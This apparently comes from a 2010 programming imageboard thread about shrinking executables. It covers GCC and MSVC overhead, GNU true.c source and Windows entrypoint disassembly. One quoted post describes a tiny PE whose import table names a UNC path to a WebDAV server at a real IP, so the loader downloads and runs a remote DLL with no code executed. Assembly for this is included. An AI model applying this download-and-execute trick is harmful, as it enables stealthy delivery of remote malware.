7k ain't exactly bloat these days. Besides, write a couple thousand more lines of code and you'll find that the size doesn't grow that much (unless you write C++).
Even more interesting is the fact that you can specify a UNC path in the import section of the PE file. If we specify \\66.93.68.6\z as the name of the imported DLL, the Windows loader will try to download the DLL file from our web server.
This allows us to create a PE file that downloads and excutes a file from the Internet without executing a single line of code. All we have to do is put our payload in the DllMain function in the DLL, put the DLL on a publicly accessible WebDAV server and specify the UNC path to the file in the imports section of the PE file. When the loader processes the imports of the PE file, it will load the DLL from the WebDAV server and execute its DllMain function.
;
; The DLL name should be at most 16 bytes, including the null terminator
;
dllname:
db "\\66.93.68.6\z", 0
times 16-($-dllname) db 0
The size of the PE file with a UNC import is still only 133 bytes.
WARNING: The PE file linked below is live. It will attempt to download and execute a payload DLL from http://66.93.68.6/z. The DLL will display a message box and exit, but you should take proper precautions and treat it as untrusted code.
>>10
PROTIP:As software requirements increase, so does overhead; what was once fine a couple of decades ago, may not be good enough today. GCC is a general compiler system that targets today's general systems; when you have special requirements that differ from the general configuration, it's your own job to figure out how to contort the system to fit them.
>>18 /* Exit with a status code indicating success.
Copyright (C) 1999-2003, 2005, 2007-2010 Free Software Foundation, Inc.
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>;. */
void
usage (int status)
{
printf (_("\
Usage: %s [ignored command line arguments]\n\
or: %s OPTION\n\
"),
program_name, program_name);
printf ("%s\n\n",
_(EXIT_STATUS == EXIT_SUCCESS
? N_("Exit with a status code indicating success.")
: N_("Exit with a status code indicating failure.")));
fputs (HELP_OPTION_DESCRIPTION, stdout);
fputs (VERSION_OPTION_DESCRIPTION, stdout);
printf (USAGE_BUILTIN_WARNING, PROGRAM_NAME);
emit_ancillary_info ();
exit (status);
}
int
main (int argc, char **argv)
{
/* Recognize --help or --version only if it's the only command-line
argument. */
if (argc == 2)
{
initialize_main (&argc, &argv);
set_program_name (argv[0]);
setlocale (LC_ALL, "");
bindtextdomain (PACKAGE, LOCALEDIR);
textdomain (PACKAGE);
atexit (close_stdout);
if (STREQ (argv[1], "--help"))
usage (EXIT_STATUS);
You should have received a copy of the GNU General Public License
along with this program. If not, see <" target="_blank">http://www.gnu.org/licenses/>;;. */
wat
Name:
Anonymous2010-07-20 15:12
>>22 You should have received a copy of the GNU General Public License
along with this program. If not, see <" target="_blank">" target="_blank">http://www.gnu.org/licenses/>;;;. */
lol I love shitchan bugs
I've actually had a use for /bin/false, but I don't think I've ever come across a case where /bin/true was required outside of a shell builtin.
The only part that actually disturbs me is that /bin/true and /bin/false are separate programs (compiled from different source files as >>20 has it.) I thought we stopped that long ago.
>>24
false and true are only useful in case of nonstandard L/unix environments. Its for scripts to check if EXIT_SUCCESS/EXIT_FAILURE are the same for some local program.
Pure basic HelloWorld=2kb
Tcc HelloWorld=1.5kb
FASM=about 1.5kb too
GCC without standard libs takes 1.5kb, but does not work obviously. The idea is that GCC adds 5.5kb of junk from its libs.
Name:
Anonymous2010-07-21 2:06
>>32
Wait, what? Why wouldn't GCC without standard libs work?
Name:
Anonymous2010-07-21 2:11
>>33
because compiling printf("Hello world") without printf inside libs is impossible.
I can probably get a Hello World into 1-2kb using MSVC with the right compiler and linker options. Using printf or puts wouldn't make a real difference since all libc calls would be external anyway. Statically linking libc would cost some 60KB.
>>39
Not bad, filealign + merge did the trick. Setting the entrypoint directly removed some 100+ bytes of overhead(the entrypoint function is always statically linked, as it can sometimes contain application specific information. Any functions the entrypoint used would either be linked dynamically or statically, depending on the options), however setting the entrypoint like that won't generate a portable Win32 executable (it may fail when used in some (future) Win32's or when using some executable packers/protections). The reason for this is because your code will get translated to something like(I just posted what it does on my box):
.00401016: 55 push ebp
.00401017: 8BEC mov ebp,esp
.00401019: 6808104000 push 000401008 ;'Hello world!' --↑1
.0040101E: FF1500104000 call printf
.00401024: 59 pop ecx
.00401025: 33C0 xor eax,eax
.00401027: 5D pop ebp
.00401028: C3 retn
.00401029: CC int 3
.0040102A: CC int 3
.0040102B: CC int 3
[code]
So you have the function prologue/epilogue (can be eliminated by increasing optimization settings, /Ox should do the trick:
[code]
00401016: 6808104000 push 00401008 ;'Hello world!' --↑1
0040101B: FF1500104000 call printf
00401021: 59 pop ecx
00401022: 33C0 xor eax,eax
00401024: C3 retn)
This code just calls printf and returns 0. So far, so good, but, did you consider to who you are returning?
Windows has traditionally placed a stub to ExitThread on the stack(
Application starts with top of stack looking like:
0012FFC4 7C816FD7 RETURN to kernel32.7C816FD7
7C816FD7 50 PUSH EAX
7C816FD8 E8 7B50FFFF CALL kernel32.ExitThread), so you'd get the expected results (it also places a SEH handler and some other useful things), but it doesn't have to do any of that(it's undocumented behaviour), so a compliant Win32 application should call ExitProcess or ExitThread when they need to exit (or do it portably through libc).
>>72
See >>41 for an explanation on why it needs to be in a portable Win32 program. It's not truly required(ExitProcess) and will work fine in a lot of WINNTs, but it most certainly is not portable code(across Windows). Also, >>69's code is probably for 16bit DOS, but even there, you have to invoke an interrupt to terminate the program.
You can probably get non-meaningful ones at ~150bytes.
If no special tricks are used, PE files generated by a C compiler and linked with the right flags and possibly re-aligned further can be gotten down to some 500-600bytes with ease.
Name:
Anonymous2010-07-25 11:44
>>69 >>66 already posted pretty much the same thing.
______________________________________
(>>69 still uses DOS 16-bit registers )
( and int 21h![code] )
--------------------------------------
o ,__,
o (oo)____
(__) )\
||--|| *